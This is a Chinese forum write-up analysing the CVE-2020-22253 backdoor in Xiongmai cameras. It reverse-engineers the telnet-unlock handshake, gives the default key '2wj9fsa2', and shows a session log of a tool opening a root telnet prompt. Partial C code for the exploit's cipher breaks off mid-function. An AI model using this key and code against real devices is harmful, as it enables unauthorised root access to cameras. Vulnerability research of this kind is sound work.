首页
社区
课程
招聘
CVE-2020-22253后门漏洞分析
发表于: 2023-8-7 17:23 13435

CVE-2020-22253后门漏洞分析

2023-8-7 17:23
13435

多款 Xiongmai 产品存在安全漏洞,该漏洞源于开放9530端口。未经身份验证的攻击者可与受害设备进行任意 Telnet 连接。以下产品和版本受到影响:AHB7008T-MH-V2、AHB7804R-ELS、AHB7804R-MH-V2、AHB7808R-MS-V2、AHB7808R-MS、AHB7808T-MS-V2、AHB7804R-LMS、HI3518E_50H10L_S39。

整个身份验证过程可能类似于某种 HMAC 质询-响应身份验证,只不过它使用对称密码而不是哈希。对于长度超过 8 字节的密钥,这种特殊的对称密码类似于 3DES-EDE2 的某些变体,对于较短的密钥则类似于简单 DES

设备:XMJP IPC 摄像头 型号:XM510

找到关键文件
图片描述

在 usr/bin 目录下找到 dvrvox这个可执行程序,查看文件信息:

图片描述

Shift+F12搜索字符串OpenTelnet:OpenOnce,定位到关键代码

图片描述
程序执行流程中,在经过判断后可以执行system("telnetd")命令,从而开启漏洞信息中所说的9530端口,所以利用漏洞需经过程序判断流程执行这个命令
图片描述

首先程序使用socket套接字的recv函数接受数据
接着进行第一个判断strncmp(&s[1], "OpenTelnet:OpenOnce", 0x13u)判断开头是否为 OpenTelnet:OpenOnce

图片描述

通过第一个判断,程序首先执行get_random_bytime((char *)ranNum),根据时间戳生成八位随机数字字符串

图片描述

get_random_bytime函数

图片描述
第二个判断recv_buffer中的内容是否为randNum开头的字符串

图片描述

get_key 函数的作用是返回一个 key 字符串,判断 /mnt/custom/TelnetOEMPasswd 文件是否存在,存在的话返回文件的内容(也就是密钥),不存在就返回 2wj9fsa2 字符串。
图片描述

接下来是主要的encrypt加密函数,传入的参数分别为之前生成的8位随机数字以及他的长度,还有通过sprintf将key和ranNum拼接后的concatenateStr字符串及其长度。concatenateStr也就是需要加密的字符串,而key相当于程序中的 PSK 预共享密钥,也就是后门密钥

图片描述

跟进到encrypt函数中,逻辑较为复杂,可参考https://github.com/tothi/pyDes/blob/7a26fe09dc5b57b175c6439fbbf496414598a7a2/pyDes.py#L108

对于长度超过 8 字节的密钥,这种特殊的对称密码类似于 3DES-EDE2 的某些变体,对于较短的密钥则类似于简单 DES

3DES部分代码:

参考此代码写出具体的加密算法,将加密结果拼接在randNum:字符串后面

之后经判断输出verify:OK

图片描述
最后再次判断接收到的字符串开头是否为CMD,这里的 dencrypt对应上面的加密算法,判断解密后的字符串是否为“Telnet:OpenOnce” ,也就是只需将这个字符串经过相同的加密算法即可,从而执行 system("telnetd") 函数,开启后门。

图片描述

一旦 telnet 守护进程激活,可以用以下登录名/密码对之一:

图片描述
这些密码可以从固件中恢复,也可以通过/etc/passwd文件中的哈希值进行暴力破解

最常见的 PSK 是默认值之一:2wj9fsa2 会话示例:

参考文章

https://github.com/tothi/pwn-hisilicon-dvr#summary

https://www.4hou.com/posts/mGYE

https://github.com/tothi/pyDes/blob/master/pyDes.py

#############################################################################
#                                 Triple DES                                    #
#############################################################################
class triple_des(_baseDes):
        """Triple DES encryption/decrytpion class
 
        This algorithm uses the DES-EDE3 (when a 24 byte key is supplied) or
        the DES-EDE2 (when a 16 byte key is supplied) encryption methods.
        Supports ECB (Electronic Code Book) and CBC (Cypher Block Chaining) modes.
 
        pyDes.des(key, [mode], [IV])
 
        key  -> Bytes containing the encryption key, must be either 16 or
                24 bytes long
        mode -> Optional argument for encryption type, can be either pyDes.ECB
                (Electronic Code Book), pyDes.CBC (Cypher Block Chaining)
        IV   -> Optional Initial Value bytes, must be supplied if using CBC mode.
                Must be 8 bytes in length.
        pad  -> Optional argument, set the pad character (PAD_NORMAL) to use
                during all encrypt/decrypt operations done with this instance.
        padmode -> Optional argument, set the padding mode (PAD_NORMAL or
                PAD_PKCS5) to use during all encrypt/decrypt operations done
                with this instance.
        """
        def __init__(self, key, mode=ECB, IV=None, pad=None, padmode=PAD_NORMAL, hs=False):
                _baseDes.__init__(self, mode, IV, pad, padmode)
                self.hs = hs
                self.setKey(key)
 
        def setKey(self, key):
                """Will set the crypting key for this object. Either 16 or 24 bytes long."""
                self.key_size = 24  # Use DES-EDE3 mode
                if len(key) != self.key_size:
                        if len(key) == 16: # Use DES-EDE2 mode
                                self.key_size = 16
                        else:
                                raise ValueError("Invalid triple DES key size. Key must be either 16 or 24 bytes long")
                if self.getMode() == CBC:
                        if not self.getIV():
                                # Use the first 8 bytes of the key
                                self._iv = key[:self.block_size]
                        if len(self.getIV()) != self.block_size:
                                raise ValueError("Invalid IV, must be 8 bytes in length")
                self.__key1 = des(key[:8], self._mode, self._iv,
                                  self._padding, self._padmode, self.hs)
                self.__key2 = des(key[8:16], self._mode, self._iv,
                                  self._padding, self._padmode, self.hs)
                if self.key_size == 16:
                        self.__key3 = self.__key1
                else:
                        self.__key3 = des(key[16:], self._mode, self._iv,
                                          self._padding, self._padmode, self.hs)
                _baseDes.setKey(self, key)
 
        # Override setter methods to work on all 3 keys.
 
        def setMode(self, mode):
                """Sets the type of crypting mode, pyDes.ECB or pyDes.CBC"""
                _baseDes.setMode(self, mode)
                for key in (self.__key1, self.__key2, self.__key3):
                        key.setMode(mode)
 
        def setPadding(self, pad):
                """setPadding() -> bytes of length 1. Padding character."""
                _baseDes.setPadding(self, pad)
                for key in (self.__key1, self.__key2, self.__key3):
                        key.setPadding(pad)
 
        def setPadMode(self, mode):
                """Sets the type of padding mode, pyDes.PAD_NORMAL or pyDes.PAD_PKCS5"""
                _baseDes.setPadMode(self, mode)
                for key in (self.__key1, self.__key2, self.__key3):
                        key.setPadMode(mode)
 
        def setIV(self, IV):
                """Will set the Initial Value, used in conjunction with CBC mode"""
                _baseDes.setIV(self, IV)
                for key in (self.__key1, self.__key2, self.__key3):
                        key.setIV(IV)
 
        def encrypt(self, data, pad=None, padmode=None):
                """encrypt(data, [pad], [padmode]) -> bytes
 
                data : bytes to be encrypted
                pad  : Optional argument for encryption padding. Must only be one byte
                padmode : Optional argument for overriding the padding mode.
 
                The data must be a multiple of 8 bytes and will be encrypted
                with the already specified key. Data does not have to be a
                multiple of 8 bytes if the padding character is supplied, or
                the padmode is set to PAD_PKCS5, as bytes will then added to
                ensure the be padded data is a multiple of 8 bytes.
                """
                ENCRYPT = des.ENCRYPT
                DECRYPT = des.DECRYPT
                data = self._guardAgainstUnicode(data)
                if pad is not None:
                        pad = self._guardAgainstUnicode(pad)
                # Pad the data accordingly.
                data = self._padData(data, pad, padmode)
                if self.getMode() == CBC:
                        self.__key1.setIV(self.getIV())
                        self.__key2.setIV(self.getIV())
                        self.__key3.setIV(self.getIV())
                        i = 0
                        result = []
                        while i < len(data):
                                block = self.__key1.crypt(data[i:i+8], ENCRYPT)
                                block = self.__key2.crypt(block, DECRYPT)
                                block = self.__key3.crypt(block, ENCRYPT)
                                self.__key1.setIV(block)
                                self.__key2.setIV(block)
                                self.__key3.setIV(block)
                                result.append(block)
                                i += 8
                        if _pythonMajorVersion < 3:
                                return ''.join(result)
                        else:
                                return bytes.fromhex('').join(result)
                else:
                        data = self.__key1.crypt(data, ENCRYPT)
                        data = self.__key2.crypt(data, DECRYPT)
                        return self.__key3.crypt(data, ENCRYPT)
 
        def decrypt(self, data, pad=None, padmode=None):
                """decrypt(data, [pad], [padmode]) -> bytes
 
                data : bytes to be encrypted
                pad  : Optional argument for decryption padding. Must only be one byte
                padmode : Optional argument for overriding the padding mode.
 
                The data must be a multiple of 8 bytes and will be decrypted
                with the already specified key. In PAD_NORMAL mode, if the
                optional padding character is supplied, then the un-encrypted
                data will have the padding characters removed from the end of
                the bytes. This pad removal only occurs on the last 8 bytes of
                the data (last data block). In PAD_PKCS5 mode, the special
                padding end markers will be removed from the data after
                decrypting, no pad character is required for PAD_PKCS5.
                """
                ENCRYPT = des.ENCRYPT
                DECRYPT = des.DECRYPT
                data = self._guardAgainstUnicode(data)
                if pad is not None:
                        pad = self._guardAgainstUnicode(pad)
                if self.getMode() == CBC:
                        self.__key1.setIV(self.getIV())
                        self.__key2.setIV(self.getIV())
                        self.__key3.setIV(self.getIV())
                        i = 0
                        result = []
                        while i < len(data):
                                iv = data[i:i+8]
                                block = self.__key3.crypt(iv,    DECRYPT)
                                block = self.__key2.crypt(block, ENCRYPT)
                                block = self.__key1.crypt(block, DECRYPT)
                                self.__key1.setIV(iv)
                                self.__key2.setIV(iv)
                                self.__key3.setIV(iv)
                                result.append(block)
                                i += 8
                        if _pythonMajorVersion < 3:
                                data = ''.join(result)
                        else:
                                data = bytes.fromhex('').join(result)
                else:
                        data = self.__key3.crypt(data, DECRYPT)
                        data = self.__key2.crypt(data, ENCRYPT)
                        data = self.__key1.crypt(data, DECRYPT)
                return self._unpadData(data, pad, padmode)
#############################################################################
#                                 Triple DES                                    #
#############################################################################
class triple_des(_baseDes):
        """Triple DES encryption/decrytpion class
 
        This algorithm uses the DES-EDE3 (when a 24 byte key is supplied) or
        the DES-EDE2 (when a 16 byte key is supplied) encryption methods.
        Supports ECB (Electronic Code Book) and CBC (Cypher Block Chaining) modes.
 
        pyDes.des(key, [mode], [IV])
 
        key  -> Bytes containing the encryption key, must be either 16 or
                24 bytes long
        mode -> Optional argument for encryption type, can be either pyDes.ECB
                (Electronic Code Book), pyDes.CBC (Cypher Block Chaining)
        IV   -> Optional Initial Value bytes, must be supplied if using CBC mode.
                Must be 8 bytes in length.
        pad  -> Optional argument, set the pad character (PAD_NORMAL) to use
                during all encrypt/decrypt operations done with this instance.
        padmode -> Optional argument, set the padding mode (PAD_NORMAL or
                PAD_PKCS5) to use during all encrypt/decrypt operations done
                with this instance.
        """
        def __init__(self, key, mode=ECB, IV=None, pad=None, padmode=PAD_NORMAL, hs=False):
                _baseDes.__init__(self, mode, IV, pad, padmode)
                self.hs = hs
                self.setKey(key)
 
        def setKey(self, key):
                """Will set the crypting key for this object. Either 16 or 24 bytes long."""
                self.key_size = 24  # Use DES-EDE3 mode
                if len(key) != self.key_size:
                        if len(key) == 16: # Use DES-EDE2 mode
                                self.key_size = 16
                        else:
                                raise ValueError("Invalid triple DES key size. Key must be either 16 or 24 bytes long")
                if self.getMode() == CBC:
                        if not self.getIV():
                                # Use the first 8 bytes of the key
                                self._iv = key[:self.block_size]
                        if len(self.getIV()) != self.block_size:
                                raise ValueError("Invalid IV, must be 8 bytes in length")
                self.__key1 = des(key[:8], self._mode, self._iv,
                                  self._padding, self._padmode, self.hs)
                self.__key2 = des(key[8:16], self._mode, self._iv,
                                  self._padding, self._padmode, self.hs)
                if self.key_size == 16:
                        self.__key3 = self.__key1
                else:
                        self.__key3 = des(key[16:], self._mode, self._iv,
                                          self._padding, self._padmode, self.hs)
                _baseDes.setKey(self, key)
 
        # Override setter methods to work on all 3 keys.
 
        def setMode(self, mode):
                """Sets the type of crypting mode, pyDes.ECB or pyDes.CBC"""
                _baseDes.setMode(self, mode)
                for key in (self.__key1, self.__key2, self.__key3):
                        key.setMode(mode)
 
        def setPadding(self, pad):
                """setPadding() -> bytes of length 1. Padding character."""
                _baseDes.setPadding(self, pad)
                for key in (self.__key1, self.__key2, self.__key3):
                        key.setPadding(pad)
 
        def setPadMode(self, mode):
                """Sets the type of padding mode, pyDes.PAD_NORMAL or pyDes.PAD_PKCS5"""
                _baseDes.setPadMode(self, mode)
                for key in (self.__key1, self.__key2, self.__key3):
                        key.setPadMode(mode)
 
        def setIV(self, IV):
                """Will set the Initial Value, used in conjunction with CBC mode"""
                _baseDes.setIV(self, IV)
                for key in (self.__key1, self.__key2, self.__key3):
                        key.setIV(IV)
 
        def encrypt(self, data, pad=None, padmode=None):
                """encrypt(data, [pad], [padmode]) -> bytes
 
                data : bytes to be encrypted
                pad  : Optional argument for encryption padding. Must only be one byte
                padmode : Optional argument for overriding the padding mode.
 
                The data must be a multiple of 8 bytes and will be encrypted
                with the already specified key. Data does not have to be a
                multiple of 8 bytes if the padding character is supplied, or
                the padmode is set to PAD_PKCS5, as bytes will then added to
                ensure the be padded data is a multiple of 8 bytes.
                """
                ENCRYPT = des.ENCRYPT
                DECRYPT = des.DECRYPT
                data = self._guardAgainstUnicode(data)
                if pad is not None:
                        pad = self._guardAgainstUnicode(pad)
                # Pad the data accordingly.
                data = self._padData(data, pad, padmode)
                if self.getMode() == CBC:
                        self.__key1.setIV(self.getIV())
                        self.__key2.setIV(self.getIV())
                        self.__key3.setIV(self.getIV())
                        i = 0
                        result = []
                        while i < len(data):
                                block = self.__key1.crypt(data[i:i+8], ENCRYPT)
                                block = self.__key2.crypt(block, DECRYPT)
                                block = self.__key3.crypt(block, ENCRYPT)
                                self.__key1.setIV(block)
                                self.__key2.setIV(block)
                                self.__key3.setIV(block)
                                result.append(block)
                                i += 8
                        if _pythonMajorVersion < 3:
                                return ''.join(result)
                        else:
                                return bytes.fromhex('').join(result)
                else:
                        data = self.__key1.crypt(data, ENCRYPT)
                        data = self.__key2.crypt(data, DECRYPT)
                        return self.__key3.crypt(data, ENCRYPT)
 
        def decrypt(self, data, pad=None, padmode=None):
                """decrypt(data, [pad], [padmode]) -> bytes
 
                data : bytes to be encrypted
                pad  : Optional argument for decryption padding. Must only be one byte
                padmode : Optional argument for overriding the padding mode.
 
                The data must be a multiple of 8 bytes and will be decrypted
                with the already specified key. In PAD_NORMAL mode, if the
                optional padding character is supplied, then the un-encrypted
                data will have the padding characters removed from the end of
                the bytes. This pad removal only occurs on the last 8 bytes of
                the data (last data block). In PAD_PKCS5 mode, the special
                padding end markers will be removed from the data after
                decrypting, no pad character is required for PAD_PKCS5.
                """
                ENCRYPT = des.ENCRYPT
                DECRYPT = des.DECRYPT
                data = self._guardAgainstUnicode(data)
                if pad is not None:
                        pad = self._guardAgainstUnicode(pad)
                if self.getMode() == CBC:
                        self.__key1.setIV(self.getIV())
                        self.__key2.setIV(self.getIV())
                        self.__key3.setIV(self.getIV())
                        i = 0
                        result = []
                        while i < len(data):
                                iv = data[i:i+8]
                                block = self.__key3.crypt(iv,    DECRYPT)
                                block = self.__key2.crypt(block, ENCRYPT)
                                block = self.__key1.crypt(block, DECRYPT)
                                self.__key1.setIV(iv)
                                self.__key2.setIV(iv)
                                self.__key3.setIV(iv)
                                result.append(block)
                                i += 8
                        if _pythonMajorVersion < 3:
                                data = ''.join(result)
                        else:
                                data = bytes.fromhex('').join(result)
                else:
                        data = self.__key3.crypt(data, DECRYPT)
                        data = self.__key2.crypt(data, ENCRYPT)
                        data = self.__key1.crypt(data, DECRYPT)
                return self._unpadData(data, pad, padmode)
int encrypt(char *result,char *data,uint data_len,char *key,uint key_size)
 
{
  uint uVar2;
  int currentBlockNumber;
  int blocksCount;
   
  if (((result != (char *)0x0 && data != (char *)0x0) &&
      (currentBlockNumber = 0, key != (char *)0x0)) && ((data_len + 7 & 0xfffffff8) != 0)) {
    prepare_key(key,key_size);
    blocksCount = (int)(data_len + 7) >> 3;
    uVar2 = *(state + 0x7e0);
    if (*(state + 0x7e0) == 0) {
      while ((int)uVar2 < blocksCount) {
        cipher_box((byte *)result,(byte *)data,state + 0x1e0,0);
        uVar2 = uVar2 + 1;
        result = (char *)((byte *)result + 8);
        data = (char *)((byte *)data + 8);
      }
    }
    else {
      while (currentBlockNumber < blocksCount) {
        cipher_box((byte *)result,(byte *)data,state + 0x1e0,0);
        cipher_box((byte *)result,(byte *)result,state + 0x4e0,1);
        cipher_box((byte *)result,(byte *)result,state + 0x1e0,0);
        currentBlockNumber = currentBlockNumber + 1;
        result = (char *)((byte *)result + 8);
        data = (char *)((byte *)data + 8);
      }
    }
    return 0;
  }
  return -1;
}
int encrypt(char *result,char *data,uint data_len,char *key,uint key_size)
 
{
  uint uVar2;
  int currentBlockNumber;
  int blocksCount;
   
  if (((result != (char *)0x0 && data != (char *)0x0) &&
      (currentBlockNumber = 0, key != (char *)0x0)) && ((data_len + 7 & 0xfffffff8) != 0)) {
    prepare_key(key,key_size);
    blocksCount = (int)(data_len + 7) >> 3;
    uVar2 = *(state + 0x7e0);
    if (*(state + 0x7e0) == 0) {
      while ((int)uVar2 < blocksCount) {
        cipher_box((byte *)result,(byte *)data,state + 0x1e0,0);
        uVar2 = uVar2 + 1;
        result = (char *)((byte *)result + 8);
        data = (char *)((byte *)data + 8);
      }
    }
    else {
      while (currentBlockNumber < blocksCount) {
        cipher_box((byte *)result,(byte *)data,state + 0x1e0,0);
        cipher_box((byte *)result,(byte *)result,state + 0x4e0,1);
        cipher_box((byte *)result,(byte *)result,state + 0x1e0,0);
        currentBlockNumber = currentBlockNumber + 1;
        result = (char *)((byte *)result + 8);
        data = (char *)((byte *)data + 8);
      }
    }
    return 0;
  }
  return -1;
}
$ telnet 198.51.100.23
Trying 198.51.100.23...
telnet: Unable to connect to remote host: Connection refused
$ ./hs-dvr-telnet 198.51.100.23 2wj9fsa2
Sent OpenTelnet:OpenOnce command.
randNum:46930886
challenge=469308862wj9fsa2
verify:OK
Open:OK
$ telnet 198.51.100.23
Trying 198.51.100.23...
Connected to 198.51.100.23.
Escape character is '^]'.
LocalHost login: root
Password:
$ telnet 198.51.100.23
Trying 198.51.100.23...
telnet: Unable to connect to remote host: Connection refused
$ ./hs-dvr-telnet 198.51.100.23 2wj9fsa2
Sent OpenTelnet:OpenOnce command.
randNum:46930886
challenge=469308862wj9fsa2
verify:OK
Open:OK
$ telnet 198.51.100.23
Trying 198.51.100.23...
Connected to 198.51.100.23.
Escape character is '^]'.
LocalHost login: root
Password:
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <unistd.h>
 
typedef unsigned char byte;
typedef unsigned int uint;
 
byte state[2048] = {0};
byte datum[] = {
    0x20, 0x01, 0x02, 0x03, 0x04, 0x05, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09,
    0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0c, 0x0d, 0x0e, 0x0f, 0x10, 0x11,
    0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19,
    0x18, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1c, 0x1d, 0x1e, 0x1f, 0x20, 0x01,
    0x0e, 0x04, 0x0d, 0x01, 0x02, 0x0f, 0x0b, 0x08, 0x03, 0x0a, 0x06, 0x0c,
    0x05, 0x09, 0x00, 0x07, 0x00, 0x0f, 0x07, 0x04, 0x0e, 0x02, 0x0d, 0x01,
    0x0a, 0x06, 0x0c, 0x0b, 0x09, 0x05, 0x03, 0x08, 0x04, 0x01, 0x0e, 0x08,
    0x0d, 0x06, 0x02, 0x0b, 0x0f, 0x0c, 0x09, 0x07, 0x03, 0x0a, 0x05, 0x00,
    0x0f, 0x0c, 0x08, 0x02, 0x04, 0x09, 0x01, 0x07, 0x05, 0x0b, 0x03, 0x0e,
    0x0a, 0x00, 0x06, 0x0d, 0x0f, 0x01, 0x08, 0x0e, 0x06, 0x0b, 0x03, 0x04,
    0x09, 0x07, 0x02, 0x0d, 0x0c, 0x00, 0x05, 0x0a, 0x03, 0x0d, 0x04, 0x07,
    0x0f, 0x02, 0x08, 0x0e, 0x0c, 0x00, 0x01, 0x0a, 0x06, 0x09, 0x0b, 0x05,
    0x00, 0x0e, 0x07, 0x0b, 0x0a, 0x04, 0x0d, 0x01, 0x05, 0x08, 0x0c, 0x06,
    0x09, 0x03, 0x02, 0x0f, 0x0d, 0x08, 0x0a, 0x01, 0x03, 0x0f, 0x04, 0x02,
    0x0b, 0x06, 0x07, 0x0c, 0x00, 0x05, 0x0e, 0x09, 0x0a, 0x00, 0x09, 0x0e,
    0x06, 0x03, 0x0f, 0x05, 0x01, 0x0d, 0x0c, 0x07, 0x0b, 0x04, 0x02, 0x08,
    0x0d, 0x07, 0x00, 0x09, 0x03, 0x04, 0x06, 0x0a, 0x02, 0x08, 0x05, 0x0e,
    0x0c, 0x0b, 0x0f, 0x01, 0x0d, 0x06, 0x04, 0x09, 0x08, 0x0f, 0x03, 0x00,
    0x0b, 0x01, 0x02, 0x0c, 0x05, 0x0a, 0x0e, 0x07, 0x01, 0x0a, 0x0d, 0x00,
    0x06, 0x09, 0x08, 0x07, 0x04, 0x0f, 0x0e, 0x03, 0x0b, 0x05, 0x02, 0x0c,
    0x07, 0x0d, 0x0e, 0x03, 0x00, 0x06, 0x09, 0x0a, 0x01, 0x02, 0x08, 0x05,
    0x0b, 0x0c, 0x04, 0x0f, 0x0d, 0x08, 0x0b, 0x05, 0x06, 0x0f, 0x00, 0x03,
    0x04, 0x07, 0x02, 0x0c, 0x01, 0x0a, 0x0e, 0x09, 0x0a, 0x06, 0x09, 0x00,
    0x0c, 0x0b, 0x07, 0x0d, 0x0f, 0x01, 0x03, 0x0e, 0x05, 0x02, 0x08, 0x04,
    0x03, 0x0f, 0x00, 0x06, 0x0a, 0x01, 0x0d, 0x08, 0x09, 0x04, 0x05, 0x0b,
    0x0c, 0x07, 0x02, 0x0e, 0x02, 0x0c, 0x04, 0x01, 0x07, 0x0a, 0x0b, 0x06,
    0x08, 0x05, 0x03, 0x0f, 0x0d, 0x00, 0x0e, 0x09, 0x0e, 0x0b, 0x02, 0x0c,
    0x04, 0x07, 0x0d, 0x01, 0x05, 0x00, 0x0f, 0x0a, 0x03, 0x09, 0x08, 0x06,
    0x04, 0x02, 0x01, 0x0b, 0x0a, 0x0d, 0x07, 0x08, 0x0f, 0x09, 0x0c, 0x05,
    0x06, 0x03, 0x00, 0x0e, 0x0b, 0x08, 0x0c, 0x07, 0x01, 0x0e, 0x02, 0x0d,
    0x06, 0x0f, 0x00, 0x09, 0x0a, 0x04, 0x05, 0x03, 0x0c, 0x01, 0x0a, 0x0f,
    0x09, 0x02, 0x06, 0x08, 0x00, 0x0d, 0x03, 0x04, 0x0e, 0x07, 0x05, 0x0b,
    0x0a, 0x0f, 0x04, 0x02, 0x07, 0x0c, 0x09, 0x05, 0x06, 0x01, 0x0d, 0x0e,
    0x00, 0x0b, 0x03, 0x08, 0x09, 0x0e, 0x0f, 0x05, 0x02, 0x08, 0x0c, 0x03,
    0x07, 0x00, 0x04, 0x0a, 0x01, 0x0d, 0x0b, 0x06, 0x04, 0x03, 0x02, 0x0c,
    0x09, 0x05, 0x0f, 0x0a, 0x0b, 0x0e, 0x01, 0x07, 0x06, 0x00, 0x08, 0x0d,
    0x04, 0x0b, 0x02, 0x0e, 0x0f, 0x00, 0x08, 0x0d, 0x03, 0x0c, 0x09, 0x07,
    0x05, 0x0a, 0x06, 0x01, 0x0d, 0x00, 0x0b, 0x07, 0x04, 0x09, 0x01, 0x0a,
    0x0e, 0x03, 0x05, 0x0c, 0x02, 0x0f, 0x08, 0x06, 0x01, 0x04, 0x0b, 0x0d,
    0x0c, 0x03, 0x07, 0x0e, 0x0a, 0x0f, 0x06, 0x08, 0x00, 0x05, 0x09, 0x02,
    0x06, 0x0b, 0x0d, 0x08, 0x01, 0x04, 0x0a, 0x07, 0x09, 0x05, 0x00, 0x0f,
    0x0e, 0x02, 0x03, 0x0c, 0x0d, 0x02, 0x08, 0x04, 0x06, 0x0f, 0x0b, 0x01,
    0x0a, 0x09, 0x03, 0x0e, 0x05, 0x00, 0x0c, 0x07, 0x01, 0x0f, 0x0d, 0x08,
    0x0a, 0x03, 0x07, 0x04, 0x0c, 0x05, 0x06, 0x0b, 0x00, 0x0e, 0x09, 0x02,
    0x07, 0x0b, 0x04, 0x01, 0x09, 0x0c, 0x0e, 0x02, 0x00, 0x06, 0x0a, 0x0d,
    0x0f, 0x03, 0x05, 0x08, 0x02, 0x01, 0x0e, 0x07, 0x04, 0x0a, 0x08, 0x0d,
    0x0f, 0x0c, 0x09, 0x00, 0x03, 0x05, 0x06, 0x0b, 0x10, 0x07, 0x14, 0x15,
    0x1d, 0x0c, 0x1c, 0x11, 0x01, 0x0f, 0x17, 0x1a, 0x05, 0x12, 0x1f, 0x0a,
    0x02, 0x08, 0x18, 0x0e, 0x20, 0x1b, 0x03, 0x09, 0x13, 0x0d, 0x1e, 0x06,
    0x16, 0x0b, 0x04, 0x19, 0x3a, 0x32, 0x2a, 0x22, 0x1a, 0x12, 0x0a, 0x02,
    0x3c, 0x34, 0x2c, 0x24, 0x1c, 0x14, 0x0c, 0x04, 0x3e, 0x36, 0x2e, 0x26,
    0x1e, 0x16, 0x0e, 0x06, 0x40, 0x38, 0x30, 0x28, 0x20, 0x18, 0x10, 0x08,
    0x39, 0x31, 0x29, 0x21, 0x19, 0x11, 0x09, 0x01, 0x3b, 0x33, 0x2b, 0x23,
    0x1b, 0x13, 0x0b, 0x03, 0x3d, 0x35, 0x2d, 0x25, 0x1d, 0x15, 0x0d, 0x05,
    0x3f, 0x37, 0x2f, 0x27, 0x1f, 0x17, 0x0f, 0x07, 0xf4, 0x63, 0x01, 0x00,
    0x28, 0x08, 0x30, 0x10, 0x38, 0x18, 0x40, 0x20, 0x27, 0x07, 0x2f, 0x0f,
    0x37, 0x17, 0x3f, 0x1f, 0x26, 0x06, 0x2e, 0x0e, 0x36, 0x16, 0x3e, 0x1e,
    0x25, 0x05, 0x2d, 0x0d, 0x35, 0x15, 0x3d, 0x1d, 0x24, 0x04, 0x2c, 0x0c,
    0x34, 0x14, 0x3c, 0x1c, 0x23, 0x03, 0x2b, 0x0b, 0x33, 0x13, 0x3b, 0x1b,
    0x22, 0x02, 0x2a, 0x0a, 0x32, 0x12, 0x3a, 0x1a, 0x21, 0x01, 0x29, 0x09,
    0x31, 0x11, 0x39, 0x19, 0x39, 0x31, 0x29, 0x21, 0x19, 0x11, 0x09, 0x01,
    0x3a, 0x32, 0x2a, 0x22, 0x1a, 0x12, 0x0a, 0x02, 0x3b, 0x33, 0x2b, 0x23,
    0x1b, 0x13, 0x0b, 0x03, 0x3c, 0x34, 0x2c, 0x24, 0x3f, 0x37, 0x2f, 0x27,
    0x1f, 0x17, 0x0f, 0x07, 0x3e, 0x36, 0x2e, 0x26, 0x1e, 0x16, 0x0e, 0x06,
    0x3d, 0x35, 0x2d, 0x25, 0x1d, 0x15, 0x0d, 0x05, 0x1c, 0x14, 0x0c, 0x04,
    0x50, 0x64, 0x01, 0x00, 0x01, 0x01, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02,
    0x01, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x01, 0x0e, 0x11, 0x0b, 0x18,
    0x01, 0x05, 0x03, 0x1c, 0x0f, 0x06, 0x15, 0x0a, 0x17, 0x13, 0x0c, 0x04,
    0x1a, 0x08, 0x10, 0x07, 0x1b, 0x14, 0x0d, 0x02, 0x29, 0x34, 0x1f, 0x25,
    0x2f, 0x37, 0x1e, 0x28, 0x33, 0x2d, 0x21, 0x30, 0x2c, 0x31, 0x27, 0x38,
    0x22, 0x35, 0x2e, 0x2a, 0x32, 0x24, 0x1d, 0x20
};
 
void init_cipher_offset_vector(byte *dst,byte *src,int size)
 
{
  int i;
   
  i = 0;
  while (i < size) {
    dst[i] = (byte)((int)(uint)src[i >> 3] >> (i & 7U)) & 1;
    i = i + 1;
  }
  return;
}
 
void apply_cipher_offset_vector(byte *dst,byte *src,byte *offset_vector,size_t size)
 
{
  int i;
   
  i = 0;
  while (i < (int)size) {
    state[i] = src[(uint)offset_vector[i] - 1];
    i = i + 1;
  }
  memcpy(dst,state,size);
  return;
}
 
void cipher_memcpy_shuffle(void *dst,size_t size)
 
{
  memcpy(state,dst,size);
  memcpy(dst,(void *)(dst + size),0x1c - size);
  memcpy((void *)(dst + (0x1c - size)),state,size);
  return;
}
 
void init_cipher_state(void *dst,void *src)
 
{
  byte current_byte;
  int i;
   
  init_cipher_offset_vector(state + 0x190,(byte *)src,0x40);
  apply_cipher_offset_vector(state + 0x190,state + 0x190,datum + 0x2d4,0x38);
  i = 0;
  do {
    current_byte = (datum + 0x310)[i];
    i = i + 1;
    cipher_memcpy_shuffle(state + 0x190,(uint)current_byte);
    cipher_memcpy_shuffle(state + 0x190 + 0x1c,(uint)current_byte);
    apply_cipher_offset_vector((byte *)dst,state + 0x190,datum + 0x320,0x30);
    dst = (byte *)dst + 0x30;
  } while (i != 0x10);
  return;
}
 
void cipher_xor(byte *data,byte *key,int size)
 
{
  int i;
 
  i = 0;
  while (i < size) {
    data[i] = key[i] ^ data[i];
    i = i + 1;
  }
  return;
}
 
void prepare_key(void *key,size_t key_size)
 
{
  size_t __n;
 
  memset(state + 0x1d0,0,0x10);
  __n = key_size;
  if (0xf < (int)key_size) {
    __n = 0x10;
  }
  memcpy(state + 0x1d0,key,__n);
  init_cipher_state(state + 0x1e0,state + 0x1d0);
  if (8 < (int)key_size) {
    init_cipher_state(state + 0x4e0,state + 0x1d8);
  }
  *(state + 0x7e0) = 8 < (int)key_size; // !!!! recheck size
  return;
}
 
void cipher_shuffle(byte *dst,byte *src)
 
{
  byte *caretPtr;
  int iVar1;
  byte *ptr;
  int i;
   
  apply_cipher_offset_vector(state + 0x100,dst,datum,0x30);
  cipher_xor(state + 0x100,src,0x30);
  ptr = state + 0x100;
  i = 0;
  do {
    iVar1 = i + (uint)ptr[5] + (uint)*ptr * 2;
    caretPtr = dst + i;
    i = i + 4;
    init_cipher_offset_vector
              (caretPtr,datum + 0x30 +
                        (uint)ptr[2] * 4 + (uint)ptr[1] * 8 + (uint)ptr[4] + (uint)ptr[3] * 2 +
                        iVar1 * 0x10,4);
    ptr = ptr + 6;
  } while (i != 0x20);
  apply_cipher_offset_vector(dst,dst,datum + 0x230,0x20);
  return;
}
 
void cipher_box(byte *result,byte *data,byte *offset_vector,int direction)
 
{
  uint i;
  byte *backward_ov_ptr;
  byte *forward_ov_ptr;
  int iVar3;
 
  init_cipher_offset_vector(state + 0x130,data,0x40);
